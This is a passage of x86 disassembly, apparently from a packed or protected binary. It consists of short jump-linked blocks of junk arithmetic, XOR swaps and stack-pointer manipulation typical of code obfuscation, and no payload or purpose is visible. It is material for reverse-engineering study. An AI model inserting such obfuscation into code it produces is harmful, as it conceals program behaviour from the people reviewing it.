		push	eax
		push	edi
		mov	edi, 348C64B7h
		mov	eax, 7401B740h
		sub	eax, edi
		pop	edi
		sub	ebx, eax
		pop	eax
		jmp	loc_59323E
; ---------------------------------------------------------------------------


loc_59828A:				; CODE XREF: sub_581EE9+1C9D1j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp-6ECCh+arg_6EC2+2]
		jmp	loc_5948EB
; ---------------------------------------------------------------------------


loc_59829E:				; CODE XREF: sub_581EE9+17F09j
		pop	edx
		push	2A12h
		mov	[esp-6ECCh+arg_6EC2+2],	ebp
		jmp	loc_59EA04
; ---------------------------------------------------------------------------


loc_5982AC:				; CODE XREF: sub_581EE9+1BCF7j
		add	eax, esi
		pop	esi
		push	esi
		push	ecx
		mov	ecx, 4
		mov	esi, ecx
		pop	ecx
		jmp	loc_59F335
; ---------------------------------------------------------------------------


loc_5982BE:				; CODE XREF: sub_581EE9+1C8A4j
		mov	edi, ebx
		pop	ebx
		add	edi, edx
		jmp	loc_598FC6
; ---------------------------------------------------------------------------


loc_5982C8:				; CODE XREF: sub_581EE9+1AED1j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5A7110
; ---------------------------------------------------------------------------


loc_5982D5:				; CODE XREF: sub_581EE9+11672j
		inc	ebp
		jmp	loc_5A012E
; ---------------------------------------------------------------------------


loc_5982DB:				; CODE XREF: sub_581EE9+1B8FFj
		pop	ebp
		mov	ecx, dword ptr [esp-6E82h+arg_6E7A]
		add	esp, 4
		jmp	loc_5A5925
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp-6E86h+arg_6E7C+2]
		push	ecx
		push	4889h
		push	esp
		pop	[esp-6E7Ah+arg_6E72]
		add	dword ptr [esp], 4
		jmp	loc_593E65
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	byte ptr [esp-6E80h+arg_6E76+2], al
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_59830D:				; CODE XREF: sub_581EE9+1177Ej
		push	edi
		push	ebx
		push	7A750EE0h
		pop	ebx
		inc	ebx
		xor	ebx, 440E4BC9h
		push	ebx
		jmp	loc_5960F2
; ---------------------------------------------------------------------------


loc_598322:				; CODE XREF: sub_581EE9+15747j
		mov	ecx, 4
		jmp	loc_5A5C06
; ---------------------------------------------------------------------------


loc_59832C:				; CODE XREF: sub_581EE9+19332j
		push	ecx
		mov	ecx, esp
		jmp	loc_59E9D9
; ---------------------------------------------------------------------------


loc_598334:				; CODE XREF: sub_581EE9+19CF2j
		sub	esp, 4
		jmp	loc_5A3745
; ---------------------------------------------------------------------------


loc_59833F:				; CODE XREF: sub_581EE9+200FFj
		pop	edx
		push	[esp-6E6Eh+arg_6E64+2]
		pop	ebp
		add	esp, 4
		xor	ecx, [esp-6E72h+arg_6E68+2]
		xor	[esp-6E72h+arg_6E68+2],	ecx
		jmp	loc_59D845
; ---------------------------------------------------------------------------


loc_598355:				; CODE XREF: sub_581EE9+20F3Dj
		push	eax
		mov	eax, 2CEF5DCBh
		xchg	eax, ecx
		not	ecx
		xchg	eax, ecx
		push	6161h
		mov	[esp-6E6Ah+arg_6E60+2],	ebx
		mov	ebx, 0DE4BFD3Ah
		xor	eax, ebx
		pop	ebx
		add	edi, eax
		pop	eax
		sub	edi, ebx
		sub	edi, 0D5B5F0Eh
		pop	ebx
		push	ebp
		mov	ebp, 682B724Bh
		push	esi
		mov	esi, 54BC51C9h
		sub	esi, 4D2D345Dh
		dec	esi
		sub	esi, 65810B8Dh
		dec	esi
		add	esi, 6DDC1399h
		and	ebp, esi
		pop	esi
		add	ebp, 0D4D43CA2h
		sub	edi, ebp
		mov	ebp, [esp-6E72h+arg_6E68+2]
		add	esp, 4
		xor	eax, edi
		mov	edi, [esp-6E76h+arg_6E6E]
		sub	esp, 4
		mov	[esp-6E72h+arg_6E68+2],	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp-6E72h+arg_6E68+2]
		pop	esp
		xor	ebx, eax
		mov	dx, word ptr [esp-6E76h+arg_6E6E]
		push	4E21h
		mov	[esp-6E72h+arg_6E68+2],	eax
		jmp	loc_5992FC
; ---------------------------------------------------------------------------


loc_5983DC:				; CODE XREF: sub_581EE9+19B34j
		pop	ebx
		sub	ecx, edx
		pop	edx
		sub	ecx, 36D3A0Ah
		shr	ecx, 8
		xchg	esi, ecx
		push	esi
		push	edx
		pop	esi
		pop	edx
		not	edx
		xchg	edx, esi
		jmp	loc_5A4BF2
; ---------------------------------------------------------------------------


loc_5983F8:				; CODE XREF: sub_581EE9+1B07Ej
		pop	esi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	[esp-6E76h+arg_6E72]
		pop	ebx
		pop	[esp-6E76h+arg_6E6E]
		pop	esp
		jmp	loc_59DDA3
; ---------------------------------------------------------------------------


loc_598414:				; CODE XREF: sub_581EE9+13BC4j
		pop	ecx
		jmp	loc_596A54
; ---------------------------------------------------------------------------


loc_59841A:				; CODE XREF: sub_581EE9+1F21Fj
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		jmp	loc_593F23
; ---------------------------------------------------------------------------


loc_598427:				; CODE XREF: sub_581EE9+14B22j
		sub	al, 0C4h
		sub	esp, 4
		mov	[esp-6EB6h+arg_6EAC+2],	ebx
		push	ecx
		push	ebx
		mov	bh, al
		mov	cl, bh
		mov	ebx, [esp-6EAEh+arg_6EA4+2]
		jmp	loc_5A269B
; ---------------------------------------------------------------------------


loc_598440:				; CODE XREF: sub_581EE9+1E893j
		push	ebp
		jmp	loc_5A024E
; ---------------------------------------------------------------------------


loc_598446:				; CODE XREF: sub_581EE9+1963Fj
		mov	ebx, esp
		push	edi
		jmp	loc_5A22FD
; ---------------------------------------------------------------------------


loc_59844E:				; CODE XREF: sub_581EE9+22369j
		push	dword ptr [esp]
		jmp	loc_596A04
; ---------------------------------------------------------------------------


loc_598456:				; CODE XREF: sub_581EE9+15A68j
		push	esp
		pop	edi
		push	ebx
		mov	ebx, 562B18F0h
		push	edi
		mov	edi, 0F6C02B7h
		add	edi, 7FBE68B7h
		dec	edi
		xor	edi, 0D9017399h
		xor	ebx, edi
		jmp	loc_59C419
; ---------------------------------------------------------------------------


loc_598478:				; CODE XREF: sub_581EE9+140CAj
		pop	esi
		push	6C6Fh
		mov	[esp-6E68h+arg_6E60], ecx
		push	edx
		push	eax
		mov	eax, 759E4015h
		jmp	loc_592F37
; ---------------------------------------------------------------------------


loc_59848D:				; CODE XREF: sub_581EE9+1EFF5j
		add	edx, esi
		pop	esi
		xchg	edx, [esp-6E64h+arg_6E5C]
		mov	esp, [esp-6E64h+arg_6E5C]
		xor	eax, edi
		push	[esp-6E64h+arg_6E5C]
		pop	edi
		add	esp, 4
		push	esi
		mov	esi, esp
		jmp	loc_59AF3E
; ---------------------------------------------------------------------------


loc_5984A7:				; CODE XREF: sub_581EE9+205FAj
		pop	[esp-6E64h+arg_6E5C]
		jmp	loc_5A26A7
; ---------------------------------------------------------------------------


loc_5984AF:				; CODE XREF: sub_581EE9+190B0j
		mov	edx, esp
		jmp	loc_5A2EB0
; ---------------------------------------------------------------------------


loc_5984B6:				; CODE XREF: sub_581EE9+19050j
		mov	bl, ch
		not	bl
		mov	ch, bl
		push	[esp-6E68h+arg_6E60]
		pop	ebx
		jmp	loc_5A616B
; ---------------------------------------------------------------------------


loc_5984C5:				; CODE XREF: sub_581EE9+19131j
		push	edx
		jmp	loc_597E21
; ---------------------------------------------------------------------------


loc_5984CB:				; CODE XREF: sub_581EE9+1B2ADj
		push	ebx
		mov	bl, 4Ch
		mov	dl, bl
		pop	ebx
		jmp	loc_595AB2
; ---------------------------------------------------------------------------


loc_5984D6:				; CODE XREF: sub_581EE9+22E7Cj
		push	5023h
		mov	[esp-6E60h+arg_6E58], edx
		mov	edx, 4
		sub	ebp, 45537358h
		jmp	loc_594579
; ---------------------------------------------------------------------------


loc_5984EE:				; CODE XREF: sub_581EE9+176BFj
		add	al, 9
		add	al, cl
		sub	al, 9
		push	4EB1h
		mov	[esp-6E5Ch+arg_6E54], ecx
		jmp	loc_59B299
; ---------------------------------------------------------------------------


loc_598501:				; CODE XREF: sub_581EE9+20AFCj
		shl	ebp, 8
		add	ebp, 7A91072h
		xor	ebp, 219BD176h
		sub	eax, 5C9A7B26h
		add	eax, ebp
		add	eax, 5C9A7B26h
		pop	ebp
		xchg	eax, [esp-6E60h+arg_6E58]
		pop	esp
		push	[esp-6E64h+arg_6E5C]
		pop	ecx
		add	esp, 4
		xor	ecx, 26F0253Ah
		jmp	loc_5987FF
; ---------------------------------------------------------------------------


loc_598536:				; CODE XREF: sub_581EE9+23CB4j
		add	edi, 333D01C4h
		sub	edi, 5B87325Eh
		sub	edi, ebp
		add	edi, 5B87325Eh
		sub	edi, 333D01C4h
		pop	ebp
		jmp	loc_5A484A
; ---------------------------------------------------------------------------


loc_598556:				; CODE XREF: sub_581EE9+198DBj
		push	eax
		not	[esp-6E68h+arg_6E60]
		pop	eax
		sub	eax, 1A4BF2DFh
		add	ecx, 305F4750h
		sub	ecx, eax
		sub	ecx, 305F4750h
		mov	eax, [esp-6E6Ch+arg_6E64]
		add	esp, 4
		push	edi
		push	eax
		mov	eax, 11C82BC7h
		dec	eax
		add	eax, 12591398h
		add	eax, 18F94DCBh
		add	eax, 24CC6636h
		not	eax
		sub	eax, 66E0E8AAh
		mov	edi, eax
		pop	eax
		jmp	loc_59B2C5
; ---------------------------------------------------------------------------


loc_59859D:				; CODE XREF: sub_581EE9+12BECj
		xchg	esi, [esp-6E6Ch+arg_6E64]
		mov	esp, [esp-6E6Ch+arg_6E64]
		mov	[esp-6E6Ch+arg_6E64], ebp
		jmp	loc_59975F
; ---------------------------------------------------------------------------


loc_5985AB:				; CODE XREF: sub_581EE9+12A84j
		xchg	eax, ecx
		jmp	loc_592E47
; ---------------------------------------------------------------------------


loc_5985B1:				; CODE XREF: sub_581EE9+180F1j
		mov	dh, 0F2h
		xor	dh, cl
		pop	ecx
		push	eax
		mov	al, dh
		not	al
		jmp	loc_594372
; ---------------------------------------------------------------------------


loc_5985C0:				; CODE XREF: sub_581EE9+13300j
		pop	ecx
		add	esi, ecx
		jmp	loc_592C2F
; ---------------------------------------------------------------------------


loc_5985C8:				; CODE XREF: sub_581EE9+1C6BAj
		pop	ecx
		push	edx
		push	esp
		mov	edx, [esp-6EA6h+arg_6E9E]
		add	esp, 4
		add	edx, 4
		jmp	loc_5940FE
; ---------------------------------------------------------------------------


loc_5985DC:				; CODE XREF: sub_581EE9+225EBj
		mov	dword ptr [esp-6EAAh+arg_6EA2],	esp
		add	dword ptr [esp-6EAAh+arg_6EA2],	4
		pop	ecx
		push	ebp
		mov	ebp, 1C3B778Ch
		xor	ebp, 1C3B7788h
		jmp	loc_5A17E1
; ---------------------------------------------------------------------------


loc_5985F8:				; CODE XREF: sub_581EE9+20C97j
		add	ebx, 4
		xchg	ebx, dword ptr [esp-6EAAh+arg_6EA2]
		jmp	loc_59F142
; ---------------------------------------------------------------------------


loc_598606:				; CODE XREF: sub_581EE9+1CBB8j
		push	ecx
		mov	cl, 0EEh
		jmp	loc_59B37B
; ---------------------------------------------------------------------------


loc_59860E:				; CODE XREF: sub_581EE9+14D55j
		xor	edx, 633B3B69h
		jmp	loc_5958D5
; ---------------------------------------------------------------------------
		push	[esp-6E98h+arg_6E8E+2]
		jmp	loc_596282
; ---------------------------------------------------------------------------


loc_598621:				; CODE XREF: sub_581EE9+15696j
		sub	esp, 4
		jmp	loc_596D87
; ---------------------------------------------------------------------------


loc_59862C:				; CODE XREF: sub_581EE9+1791Cj
		sub	edx, 49A55859h
		push	ebx
		mov	ebx, 0CA94781h
		xor	ebx, 60621136h
		and	edx, ebx
		pop	ebx
		shl	edx, 8
		shr	edx, 5
		jmp	loc_593034
; ---------------------------------------------------------------------------


loc_59864C:				; CODE XREF: sub_581EE9+18FA6j
		push	eax
		mov	eax, 1E815064h
		jmp	loc_5A68CB
; ---------------------------------------------------------------------------


loc_598657:				; CODE XREF: sub_581EE9+12792j
		add	eax, edi
		sub	eax, 28EC0644h
		pop	edi
		push	edx
		mov	edx, 0C3C1DBDh
		xor	edx, 764752B6h
		not	edx
		inc	edx
		not	edx
		neg	edx
		sub	edx, 8584B0F2h
		add	eax, edx
		pop	edx
		xor	eax, [esp-6E66h+arg_6E5C+2]
		xor	[esp-6E66h+arg_6E5C+2],	eax
		xor	eax, [esp-6E66h+arg_6E5C+2]
		pop	esp
		push	[esp-6E6Ah+arg_6E60+2]
		mov	ecx, [esp-6E66h+arg_6E5C+2]
		push	0A8Eh
		mov	[esp-6E62h+arg_6E58+2],	ebp
		mov	ebp, esp
		push	4589h
		mov	[esp-6E5Eh+arg_6E54+2],	eax
		jmp	loc_599D5D
; ---------------------------------------------------------------------------


loc_5986A2:				; CODE XREF: sub_581EE9+23165j
		push	4CE13394h
		pop	edi
		sub	esi, edi
		push	[esp-6E5Eh+arg_6E54+2]
		pop	edi
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_59CFF6
; ---------------------------------------------------------------------------


loc_5986BC:				; CODE XREF: sub_581EE9+1C6CFj
		mov	eax, 4
		add	edx, eax
		pop	eax
		xchg	edx, [esp-6E5Eh+arg_6E54+2]
		pop	esp
		jmp	loc_5A15E0
; ---------------------------------------------------------------------------


loc_5986CD:				; CODE XREF: sub_581EE9+2263Ej
		pop	esp
		jmp	loc_59E886
; ---------------------------------------------------------------------------


loc_5986D3:				; CODE XREF: sub_581EE9+14B77j
		add	ecx, edx
		add	ecx, 5324122h
		mov	edx, [esp-6EA0h+arg_6E96+2]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		jmp	loc_593CE1
; ---------------------------------------------------------------------------


loc_5986F3:				; CODE XREF: sub_581EE9+212CFj
		push	[esp-6E9Ch+arg_6E96+2]
		pop	edx
		jmp	loc_5A3287
; ---------------------------------------------------------------------------


loc_5986FD:				; CODE XREF: sub_581EE9+1523Bj
		sub	ch, 0FFh
		shl	ch, 3
		add	ch, 0ACh
		jmp	loc_5A3336
; ---------------------------------------------------------------------------


loc_59870B:				; CODE XREF: sub_581EE9+1D732j
		add	esp, 4
		inc	esi
		and	esi, 56812779h
		xor	esi, 14FA27D3h
		push	ecx
		jmp	loc_59FB4F
; ---------------------------------------------------------------------------


loc_598721:				; CODE XREF: sub_581EE9+1D2CAj
		add	edi, 508B6CE8h
		sub	edi, ebx
		sub	edi, 508B6CE8h
		add	edi, 3DD4714Bh
		pop	ebx
		xor	edi, [esp-6E78h+arg_6E6E+2]
		xor	[esp-6E78h+arg_6E6E+2],	edi
		xor	edi, [esp-6E78h+arg_6E6E+2]
		mov	esp, [esp-6E78h+arg_6E6E+2]
		mov	[esp-6E78h+arg_6E6E+2],	eax
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_59874A:				; CODE XREF: sub_581EE9+1E957j
		pop	ebp
		push	edx
		jmp	loc_5A5394
; ---------------------------------------------------------------------------
		push	[esp-6E78h+arg_6E6E+2]
		mov	eax, [esp+0]
		jmp	loc_5989AB
; ---------------------------------------------------------------------------


loc_59875C:				; CODE XREF: sub_581EE9+22308j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp-6E70h+arg_6E68]
		jmp	loc_5A07F3
; ---------------------------------------------------------------------------


loc_598773:				; CODE XREF: sub_581EE9+21451j
		push	edx
		mov	dl, 6Ch
		push	eax
		push	ebx
		mov	bl, 40h
		not	bl
		add	bl, 0B5h
		jmp	loc_5A1927
; ---------------------------------------------------------------------------


loc_598784:				; CODE XREF: sub_581EE9+192F1j
		sub	[esp-6E64h+arg_6E60], 33A417DCh
		sub	[esp-6E64h+arg_6E60], 2CA70103h
		push	eax
		push	55445C32h
		pop	eax
		add	[esp-6E60h+arg_6E60], 2C572F37h
		jmp	loc_59E577
; ---------------------------------------------------------------------------


loc_5987A8:				; CODE XREF: sub_581EE9+247DDj
		push	esi
		jmp	loc_59C32F
; ---------------------------------------------------------------------------


loc_5987AE:				; CODE XREF: sub_581EE9+1C43Ej
		add	esp, 4
		push	62D1h
		mov	[esp-6E5Ch+arg_6E54], edx
		jmp	loc_5A44EC
; ---------------------------------------------------------------------------


loc_5987C1:				; CODE XREF: sub_581EE9+21338j
		not	cx
		jmp	loc_593F4A
; ---------------------------------------------------------------------------


loc_5987C9:				; CODE XREF: sub_581EE9+124C1j
		push	edi
		jmp	loc_59ED13
; ---------------------------------------------------------------------------


loc_5987CF:				; CODE XREF: sub_581EE9+202E4j
		or	ebx, 20C2DACh
		push	6334h
		jmp	loc_59FE81
; ---------------------------------------------------------------------------


loc_5987DF:				; CODE XREF: sub_581EE9+16E47j
		xor	edx, [esp-6E98h+arg_6E8E+2]
		xor	[esp-6E98h+arg_6E8E+2],	edx
		xor	edx, [esp-6E98h+arg_6E8E+2]
		jmp	loc_59A714
; ---------------------------------------------------------------------------


loc_5987ED:				; CODE XREF: sub_581EE9+19A8Cj
		pop	ecx
		sub	eax, 7BAA682Ch
		sub	eax, ebx
		push	4166h
		jmp	loc_59943C
; ---------------------------------------------------------------------------


loc_5987FF:				; CODE XREF: sub_581EE9+16648j
		push	1807h
		mov	[esp-6E64h+arg_6E5C], ebp
		jmp	loc_592A85
; ---------------------------------------------------------------------------


loc_59880C:				; CODE XREF: sub_581EE9+1A3A0j
		push	ebp
		push	esp
		mov	ebp, [esp-6E5Ch+arg_6E54]
		add	esp, 4
		push	edx
		mov	edx, 7EB46E74h
		sub	edx, 313F2F53h
		neg	edx
		and	edx, 724D76DFh
		xchg	ebx, edx
		not	ebx
		xchg	ebx, edx
		sub	edx, 0CDF7BF1Ch
		add	ebp, edx
		mov	edx, [esp-6E5Ch+arg_6E54]
		add	esp, 4
		push	262Ch
		mov	[esp-6E5Ch+arg_6E54], edx
		jmp	loc_5A5BB9
; ---------------------------------------------------------------------------


loc_598849:				; CODE XREF: sub_581EE9+1984Aj
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp-6E60h+arg_6E58]
		pop	esp
		pop	dword ptr [eax]
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_598857:				; CODE XREF: sub_581EE9+19A70j
		sub	bl, al
		sub	bl, 0B6h
		jmp	loc_5A487C
; ---------------------------------------------------------------------------


loc_598861:				; CODE XREF: sub_581EE9+10DF3j
		mov	ebp, 4
		add	ebx, 12A12330h
		add	ebx, ebp
		sub	ebx, 12A12330h
		mov	ebp, [esp-6E76h+arg_6E6E]
		add	esp, 4
		xor	ebx, [esp-6E7Ah+arg_6E72]
		xor	[esp-6E7Ah+arg_6E72], ebx
		jmp	loc_59A5BC
; ---------------------------------------------------------------------------


loc_598885:				; CODE XREF: sub_581EE9+13406j
		mov	ecx, 85BC0F1Bh
		jmp	loc_5A4141
; ---------------------------------------------------------------------------


loc_59888F:				; CODE XREF: sub_581EE9+17016j
		or	ebx, 7B184835h
		shr	ebx, 2
		sub	ebx, 0AF4BD2DAh
		jmp	loc_597D30
; ---------------------------------------------------------------------------


loc_5988A3:				; CODE XREF: sub_581EE9+11DA7j
		add	edi, 4
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		jmp	loc_5A6E13
; ---------------------------------------------------------------------------


loc_5988B6:				; CODE XREF: sub_581EE9+1D0B3j
		push	[esp-6E60h+arg_6E58]
		mov	eax, [esp-6E5Ch+arg_6E54]
		add	esp, 4
		push	edi
		push	esp
		mov	edi, [esp-6E58h+arg_6E50]
		jmp	loc_59285B
; ---------------------------------------------------------------------------


loc_5988C9:				; CODE XREF: sub_581EE9+2186Fj
		push	[esp-6E58h+arg_6E54]
		mov	edx, [esp-6E54h+arg_6E4C]
		add	esp, 4
		pop	[esp-6E58h+arg_6E50]
		pop	esp
		or	ecx, ecx
		jz	loc_5A150E
		sub	esp, 4
		jmp	loc_5974E9
; ---------------------------------------------------------------------------


loc_5988E7:				; CODE XREF: sub_581EE9+17B23j
		and	edx, 57334576h
		add	edx, 0FFFDFA8Eh
		add	esi, edx
		pop	edx
		push	eax
		jmp	loc_59589A
; ---------------------------------------------------------------------------


loc_5988FC:				; CODE XREF: sub_581EE9+16DB9j
		mov	edx, ebp
		push	edx
		add	[esp-6E58h+arg_6E50], 48C5DC6h
		jmp	loc_59A601
; ---------------------------------------------------------------------------


loc_59890B:				; CODE XREF: sub_581EE9+2272Bj
		add	edx, 4
		push	eax
		mov	eax, 4
		add	edx, eax
		jmp	loc_59C45F
; ---------------------------------------------------------------------------


loc_59891E:				; CODE XREF: sub_581EE9+17F9Aj
		xchg	ecx, [esp-6E54h+arg_6E4C]
		pop	esp
		mov	[esp-6E58h+arg_6E50], ebx
		mov	ebx, 1
		or	[edi+1Ch], ebx
		mov	ebx, [esp-6E58h+arg_6E50]
		push	edi
		push	esp
		push	[esp-6E50h+arg_6E48]
		mov	edi, [esp-6E4Ch+arg_6E44]
		add	esp, 4
		sub	esp, 4
		mov	[esp-6E4Ch+arg_6E44], edi
		jmp	loc_5A3537
; ---------------------------------------------------------------------------


loc_59894C:				; CODE XREF: sub_581EE9+18905j
		push	eax
		mov	ah, 0ECh
		neg	ah
		xor	ah, 0F1h
		shl	ah, 2
		not	ah
		jmp	loc_594306
; ---------------------------------------------------------------------------


loc_59895E:				; CODE XREF: sub_581EE9+128EAj
		mov	ecx, 2BF74C5Dh
		add	ecx, 0D408B3A7h
		add	edx, ecx
		pop	ecx
		jmp	loc_5A2251
; ---------------------------------------------------------------------------


loc_598971:				; CODE XREF: sub_581EE9+1B30Dj
		pop	eax
		sub	bl, 9Eh
		add	bl, al
		jmp	loc_59D5F7
; ---------------------------------------------------------------------------


loc_59897C:				; CODE XREF: sub_581EE9+10DE2j
		sub	eax, edi
		add	eax, 0DC939BFh
		jmp	loc_592E3E
; ---------------------------------------------------------------------------


loc_598988:				; CODE XREF: sub_581EE9+1042Aj
		sub	edx, ebp
		sub	edx, 3BEF69D7h
		jmp	loc_5A31EA
; ---------------------------------------------------------------------------


loc_598995:				; CODE XREF: sub_581EE9+17060j
		add	esp, 4
		add	esi, 910495D1h
		and	eax, esi
		push	[esp-6EACh+arg_6EA4]
		jmp	loc_59CA95
; ---------------------------------------------------------------------------


loc_5989AB:				; CODE XREF: sub_581EE9+1686Ej
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp+0], ebp
		jmp	loc_5A4D5D
; ---------------------------------------------------------------------------


loc_5989C3:				; CODE XREF: sub_581EE9+10500j
		xchg	edi, [esp-6EA8h+arg_6E9E+2]
		pop	esp
		push	367Dh
		mov	[esp-6EA8h+arg_6E9E+2],	eax
		mov	eax, ebx
		mov	ecx, eax
		mov	eax, [esp-6EA8h+arg_6E9E+2]
		add	esp, 4
		jmp	loc_598D5A
; ---------------------------------------------------------------------------


loc_5989DE:				; CODE XREF: sub_581EE9+132F0j
		push	ebx
		mov	ebx, 6E7E4453h
		sub	ebx, 335A1E6Ah
		push	ebx
		jmp	loc_59984D
; ---------------------------------------------------------------------------


loc_5989F0:				; CODE XREF: sub_581EE9+20CCDj
		sub	bl, al
		pop	eax
		jmp	loc_5A63C0
; ---------------------------------------------------------------------------


loc_5989F8:				; CODE XREF: sub_581EE9+1B116j
		pop	esp
		sub	esi, 0F663B3Dh
		push	ecx
		push	eax
		mov	eax, 31CD71BBh
		dec	eax
		add	eax, 38E509E2h
		shr	eax, 2
		inc	eax
		sub	eax, 190E30DDh
		push	esi
		jmp	loc_599B1A
; ---------------------------------------------------------------------------


loc_598A1B:				; CODE XREF: sub_581EE9+13B41j
		pop	edi
		push	ebx
		mov	ebx, 160D3235h
		shl	ebx, 5
		jmp	loc_5A696F
; ---------------------------------------------------------------------------


loc_598A2A:				; CODE XREF: sub_581EE9+1A82Ej
		mov	dl, bh
		mov	cl, dl
		pop	edx
		pop	ebx
		jmp	loc_59ADAD
; ---------------------------------------------------------------------------


loc_598A35:				; CODE XREF: sub_581EE9+20A63j
		add	ebp, ecx
		add	ebp, 3A9C4B43h
		pop	ecx
		push	ecx
		push	ebp
		mov	ebp, 9DC328Bh
		jmp	loc_595728
; ---------------------------------------------------------------------------


loc_598A4A:				; CODE XREF: sub_581EE9+1CEDAj
		add	esi, 4
		xchg	esi, [esp-6E6Ah+arg_6E60+2]
		pop	esp
		sub	esp, 4
		mov	[esp-6E6Ah+arg_6E60+2],	edx
		push	0B2Fh
		mov	[esp-6E66h+arg_6E5C+2],	ebx
		mov	bl, 4Ch
		push	461Ch
		mov	[esp-6E62h+arg_6E58+2],	eax
		push	small 5D8Fh
		jmp	loc_5962E6
; ---------------------------------------------------------------------------


loc_598A78:				; CODE XREF: sub_581EE9+16002j
		pop	ebp
		add	esi, ebp
		jmp	loc_5A3B40
; ---------------------------------------------------------------------------


loc_598A80:				; CODE XREF: sub_581EE9+2126Fj
		push	[esp-6E6Ah+arg_6E60+2]
		pop	edx
		push	ebp
		mov	ebp, esp
		jmp	loc_597786
; ---------------------------------------------------------------------------


loc_598A8C:				; CODE XREF: sub_581EE9+1EC02j
		mov	ebx, 46984F36h
		push	332Ah
		jmp	loc_593DFA
; ---------------------------------------------------------------------------


loc_598A9B:				; CODE XREF: sub_581EE9+1A429j
		pop	edx
		jmp	loc_59ED92
; ---------------------------------------------------------------------------


loc_598AA1:				; CODE XREF: sub_581EE9+1468Bj
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5931C6
; ---------------------------------------------------------------------------


loc_598AAF:				; CODE XREF: sub_581EE9+14FD9j
		xor	[esp-6E5Ah+arg_6E50+2],	edi
		mov	edi, [esp-6E5Ah+arg_6E50+2]
		add	esp, 4
		jmp	loc_59636C
; ---------------------------------------------------------------------------


loc_598AC0:				; CODE XREF: sub_581EE9+17493j
		add	[esp-6E5Eh+arg_6E58+2],	6024606Ch
		pop	ebp
		mov	ebx, [esp-6E62h+arg_6E58+2]
		push	2623h
		mov	[esp-6E5Eh+arg_6E54+2],	ecx
		push	esp
		pop	ecx
		sub	esp, 4
		jmp	loc_5931EF
; ---------------------------------------------------------------------------


loc_598ADE:				; CODE XREF: sub_581EE9+21F7Ej
		mov	ecx, 373E03CDh
		or	ebp, ecx
		pop	ecx
		and	ebp, 7A5D5D0Fh
		push	ebp
		inc	[esp-6E5Ah+arg_6E50+2]
		mov	ebp, [esp-6E5Ah+arg_6E50+2]
		add	esp, 4
		xor	ebp, 739364CBh
		sub	esi, ebp
		pop	ebp
		jmp	loc_5A69F2
; ---------------------------------------------------------------------------


loc_598B04:				; CODE XREF: sub_581EE9+14E22j
		xor	ecx, eax
		jmp	loc_5A5A28
; ---------------------------------------------------------------------------


loc_598B0B:				; CODE XREF: sub_581EE9+1DBBEj
		mov	edx, 0EB34BCCh
		sub	edx, 31BE6C9Dh
		add	edx, 5F775B3h
		push	ebx
		mov	ebx, 0
		sub	ebx, edx
		xor	edx, ebx
		jmp	loc_59EB35
; ---------------------------------------------------------------------------


loc_598B2B:				; CODE XREF: sub_581EE9+1AF51j
		pop	ebp
		mov	edi, [esp-6E76h+arg_6E6E]
		add	esp, 4
		xor	ecx, [esp-6E7Ah+arg_6E72]
		jmp	loc_596308
; ---------------------------------------------------------------------------


loc_598B3D:				; CODE XREF: sub_581EE9+19C0Ej
		neg	esi
		shr	esi, 6
		jmp	loc_595619
; ---------------------------------------------------------------------------


loc_598B47:				; CODE XREF: sub_581EE9+184DBj
		push	[esp-6E7Ah+arg_6E72]
		pop	eax
		push	ebp
		mov	ebp, esp
		jmp	loc_59A899
; ---------------------------------------------------------------------------


loc_598B53:				; CODE XREF: sub_581EE9+1AD81j
		mov	edx, ebp
		pop	ebp
		jmp	loc_5A5C60
; ---------------------------------------------------------------------------


loc_598B5B:				; CODE XREF: sub_581EE9+2025Ej
		push	1CD9h
		mov	[esp-6E76h+arg_6E6E], esi
		mov	esi, 4
		add	edi, esi
		pop	esi
		sub	edi, 4
		xchg	edi, [esp-6E7Ah+arg_6E72]
		pop	esp
		jmp	loc_59AF6A
; ---------------------------------------------------------------------------


loc_598B7A:				; CODE XREF: sub_581EE9+12255j
		shl	edi, 1
		push	ebx
		jmp	loc_5979E6
; ---------------------------------------------------------------------------


loc_598B82:				; CODE XREF: sub_581EE9+1B482j
		pop	ebx
		shr	eax, 1
		push	esi
		jmp	loc_59ED50
; ---------------------------------------------------------------------------


loc_598B8B:				; CODE XREF: sub_581EE9+1133Fj
		pop	ebp
		xchg	ebp, esi
		jmp	loc_59325F
; ---------------------------------------------------------------------------
		push	[esp-6EA0h+arg_6E96+2]
		push	[esp-6E9Ch+arg_6E92+2]
		push	[esp-6E98h+arg_6E8E+2]
		pop	eax
		add	esp, 4
		sub	esp, 4
		mov	[esp-6E98h+arg_6E8E+2],	edx
		push	esp
		pop	edx
		push	ebx
		sub	esp, 4
		mov	[esp+0], edi
		mov	edi, 192002B3h
		mov	ebx, 192002B7h
		xor	ebx, edi
		pop	edi
		add	edx, 64871547h
		add	edx, ebx
		sub	edx, 64871547h
		mov	ebx, [esp-6E94h+arg_6E8A+2]
		add	esp, 4
		push	2BF3h
		mov	[esp-6E94h+arg_6E8A+2],	ecx
		push	796Eh
		mov	[esp+0], ebp
		push	edx
		jmp	loc_59EE6D
; ---------------------------------------------------------------------------


loc_598BEC:				; CODE XREF: sub_581EE9+18326j
		mov	[esp-6E8Ch+arg_6E84], esi
		mov	esi, 35043ACFh
		sub	esi, 35043ACBh
		jmp	loc_5A6B9D
; ---------------------------------------------------------------------------


loc_598BFF:				; CODE XREF: sub_581EE9+1F9A8j
		add	ebx, 405546B2h
		jmp	loc_5A2679
